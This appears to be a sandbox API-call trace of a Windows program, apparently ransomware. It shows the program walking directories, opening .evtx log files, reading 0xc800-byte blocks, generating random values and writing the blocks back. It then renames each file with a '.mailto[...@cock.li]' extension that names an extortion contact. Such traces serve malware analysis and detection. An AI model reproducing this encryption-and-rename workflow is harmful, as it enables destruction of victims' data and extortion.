	[0076.907] wcscat (in: _Dest=0x2dfb618, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOShared\\*") returned="C:\\Users\\All Users\\USOShared\\*"
	[0076.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8960
	[0076.907] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*", lpFindFileData=0x2df8960 | out: lpFindFileData=0x2df8960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5b8
	[0079.334] wcscmp (_String1=".", _String2=".") returned 0
	[0079.334] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2df8960 | out: lpFindFileData=0x2df8960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.334] wcscmp (_String1="..", _String2=".") returned 1
	[0079.334] wcscmp (_String1="..", _String2="..") returned 0
	[0079.334] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2df8960 | out: lpFindFileData=0x2df8960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84bfee93, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84bfee93, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0079.334] wcscmp (_String1="Logs", _String2=".") returned 1
	[0079.334] wcscmp (_String1="Logs", _String2="..") returned 1
	[0079.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2dffc80
	[0079.334] wcscpy (in: _Dest=0x2dffc80, _Source="C:\\Users\\All Users\\USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared"
	[0079.334] wcscat (in: _Dest=0x2dffc80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\") returned="C:\\Users\\All Users\\USOShared\\"
	[0079.334] wcscat (in: _Dest=0x2dffc80, _Source="Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs"

Thread:
	id = 368
	os_tid = 0x14e8

	[0076.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733ce0
	[0076.908] wcscpy (in: _Dest=0x4733ce0, _Source="C:\\Users\\All Users\\WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices"
	[0076.908] wcscat (in: _Dest=0x4733ce0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\"
	[0076.908] wcscat (in: _Dest=0x4733ce0, _Source="*" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\*") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\*"
	[0076.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9568
	[0076.908] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\WindowsHolographicDevices\\*", lpFindFileData=0x2df9568 | out: lpFindFileData=0x2df9568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacfb8
	[0079.322] wcscmp (_String1=".", _String2=".") returned 0
	[0079.322] FindNextFileW (in: hFindFile=0x2dacfb8, lpFindFileData=0x2df9568 | out: lpFindFileData=0x2df9568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.322] wcscmp (_String1="..", _String2=".") returned 1
	[0079.322] wcscmp (_String1="..", _String2="..") returned 0
	[0079.322] FindNextFileW (in: hFindFile=0x2dacfb8, lpFindFileData=0x2df9568 | out: lpFindFileData=0x2df9568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 1
	[0079.322] wcscmp (_String1="SpatialStore", _String2=".") returned 1
	[0079.322] wcscmp (_String1="SpatialStore", _String2="..") returned 1
	[0079.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bde10
	[0079.322] wcscpy (in: _Dest=0x47bde10, _Source="C:\\Users\\All Users\\WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices"
	[0079.322] wcscat (in: _Dest=0x47bde10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\"
	[0079.322] wcscat (in: _Dest=0x47bde10, _Source="SpatialStore" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore"
	[0084.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bde10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708
	[0084.201] FindNextFileW (in: hFindFile=0x2dacfb8, lpFindFileData=0x2df9568 | out: lpFindFileData=0x2df9568*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0
	[0084.201] FindClose (in: hFindFile=0x2dacfb8 | out: hFindFile=0x2dacfb8) returned 1
	[0084.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9568) returned 1
	[0084.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ce0) returned 1
	[0084.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733388) returned 1

Thread:
	id = 369
	os_tid = 0x14ec

	[0076.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0081.675] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.686] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x143c
	[0081.686] GetFileSizeEx (in: hFile=0x143c, lpFileSize=0xf93f834 | out: lpFileSize=0xf93f834*=69632) returned 1
	[0081.688] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.688] ReadFile (in: hFile=0x143c, lpBuffer=0xf93f7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf93f7b4, lpOverlapped=0x0 | out: lpBuffer=0xf93f7b8*, lpNumberOfBytesRead=0xf93f7b4*=0x4, lpOverlapped=0x0) returned 1
	[0081.690] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c80
	[0081.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.690] NtQuerySystemTime (in: CurrentTime=0xf93f794 | out: CurrentTime=0xf93f794*=132251868084213042) returned 0x0
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x9f718185
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x95ba0446
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x44312307
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x8412a4bd
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x1f83b24c
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x5a846a76
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x6e602616
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x71051234
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x57e41a0b
	[0081.690] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xe34bd671
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x9fbc23f7
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xaf34f3af
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x9cbf7a04
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x6c7318e
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x27b664c2
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x84315156
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x1d8a47ef
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xf57cd312
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xb80aee40
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xd054a060
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xbfdb991b
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xccfcfc22
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xd5e3845
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x5da0bc96
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xae826e20
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x43353d96
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x520df623
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x1f9c75b8
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0xba2d984b
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x6639fd26
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x1abdce6f
	[0081.691] RtlRandom (in: Seed=0xf93f7a0 | out: Seed=0xf93f7a0) returned 0x44818b5c
	[0081.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ca8
	[0081.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.700] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.700] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.700] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x501d828
	[0081.702] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.703] ReadFile (in: hFile=0x143c, lpBuffer=0x501d828, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf93f774, lpOverlapped=0x0 | out: lpBuffer=0x501d828*, lpNumberOfBytesRead=0xf93f774*=0xc800, lpOverlapped=0x0) returned 1
	[0081.705] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0081.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a50
	[0081.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.707] WriteFile (in: hFile=0x143c, lpBuffer=0x4f48e48*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf93f774, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesWritten=0xf93f774*=0xc800, lpOverlapped=0x0) returned 1
	[0084.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0084.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x501d828) returned 1
	[0084.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04018
	[0084.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04540
	[0084.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341e0
	[0084.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0084.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14f) returned 0x2e022b0
	[0084.794] SetFilePointerEx (in: hFile=0x143c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.794] WriteFile (in: hFile=0x143c, lpBuffer=0x2e022b0*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0xf93f7f4, lpOverlapped=0x0 | out: lpBuffer=0x2e022b0*, lpNumberOfBytesWritten=0xf93f7f4*=0x14f, lpOverlapped=0x0) returned 1
	[0084.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e022b0) returned 1
	[0084.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0084.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341e0) returned 1
	[0084.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a50) returned 1
	[0084.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c80) returned 1
	[0084.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ca8) returned 1
	[0084.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0084.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2db60
	[0084.799] wcscpy (in: _Dest=0x4f2db60, _Source="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx"
	[0084.799] wcscat (in: _Dest=0x4f2db60, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.799] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xf93f7ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c968
	[0084.799] NtSetInformationFile (FileHandle=0x143c, IoStatusBlock=0xf93f7a4, FileInformation=0x477c968, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c968) returned 1
	[0087.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924af0) returned 1
	[0087.780] NtQueryInformationFile (in: FileHandle=0x143c, IoStatusBlock=0xf93f7b8, FileInformation=0xf93f790, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf93f7b8, FileInformation=0xf93f790) returned 0x0
	[0087.780] NtSetInformationFile (FileHandle=0x143c, IoStatusBlock=0xf93f7b8, FileInformation=0xf93f790, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2db60) returned 1
	[0087.792] FlushFileBuffers (hFile=0x143c) returned 1
	[0092.884] CloseHandle (hObject=0x143c) 

Thread:
	id = 370
	os_tid = 0x14f0

	[0076.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0080.459] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.459] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0080.459] GetFileSizeEx (in: hFile=0x984, lpFileSize=0xf9bfd54 | out: lpFileSize=0xf9bfd54*=69632) returned 1
	[0080.459] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.459] ReadFile (in: hFile=0x984, lpBuffer=0xf9bfcd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf9bfcd4, lpOverlapped=0x0 | out: lpBuffer=0xf9bfcd8*, lpNumberOfBytesRead=0xf9bfcd4*=0x4, lpOverlapped=0x0) returned 1
	[0080.638] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34730
	[0080.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0080.638] NtQuerySystemTime (in: CurrentTime=0xf9bfcb4 | out: CurrentTime=0xf9bfcb4*=132251868073744302) returned 0x0
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x739534dd
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xd2e118aa
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xbefc85f1
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xd47702
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xadb7b122
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x6b154664
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x92a9db1f
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x27790be6
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x5b3454fc
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x7668f69c
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x756202d3
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x2579e64b
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xf54b2818
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xb3bd3103
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x37a9c4b6
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x93f8ec16
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x4ee2fc9b
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x7224df4e
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xf684e653
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x63fe4ae7
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x5f81fa76
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xf900ed28
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xc0bf24fa
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x40143179
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0xb0aa3217
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x15bff60d
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x48108308
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x2354772b
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x96563334
	[0080.638] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x2649575e
	[0080.639] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x63acdc43
	[0080.639] RtlRandom (in: Seed=0xf9bfcc0 | out: Seed=0xf9bfcc0) returned 0x7b7bacb2
	[0080.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34758
	[0080.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345c8
	[0080.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0080.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e72888
	[0080.650] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.650] ReadFile (in: hFile=0x984, lpBuffer=0x4e72888, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf9bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4e72888*, lpNumberOfBytesRead=0xf9bfc94*=0xc800, lpOverlapped=0x0) returned 1
	[0081.033] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
